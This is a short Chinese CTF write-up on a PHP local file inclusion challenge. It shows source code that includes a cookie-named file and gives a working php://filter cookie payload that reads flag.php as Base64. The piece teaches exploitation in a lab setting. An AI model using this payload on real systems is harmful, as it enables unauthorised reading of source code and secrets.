Web 安全实战:文件包含与上传绕过技巧
一、文件包含漏洞利用
Flag 位于 flag.php。查看源码发现如下逻辑:
<?php
// 检查是否开启了错误显示,如果没有,则开启
if( !ini_get('display_errors') ) { ini_set('display_errors', 'On'); }
// 设置错误报告级别为显示所有错误
error_reporting(E_ALL);
// 从 cookie 中获取语言设置
$lan = $_COOKIE['language'];
// 如果 cookie 中没有语言设置
if(!$lan) {
// 设置默认语言为 english
@setcookie("language","english");
// 包含英文语言文件
@include("english.php");
} else {
// 如果有语言设置,包含对应的语言文件
@include($lan.".php");
}
// 读取 index.php 文件的内容
$x = file_get_contents('index.php');
// 输出 index.php 文件的内容
echo $x;
?>
根据代码审计结果,只有 Cookie 中包含相应的语言设置才能触发文件包含逻辑。由于初始请求没有 Cookie,需自行构造 Payload。
尝试直接设置 language=flag 页面无输出,结合题目特性可尝试 PHP 伪协议。
Payload:Cookie: language=php://filter/read=convert.base64-encode/resource=flag
注意路径为 flag 而非 flag.php,因为代码中 $lan 拼接了 .php 后缀。成功获取 Base64 编码后的 Flag。



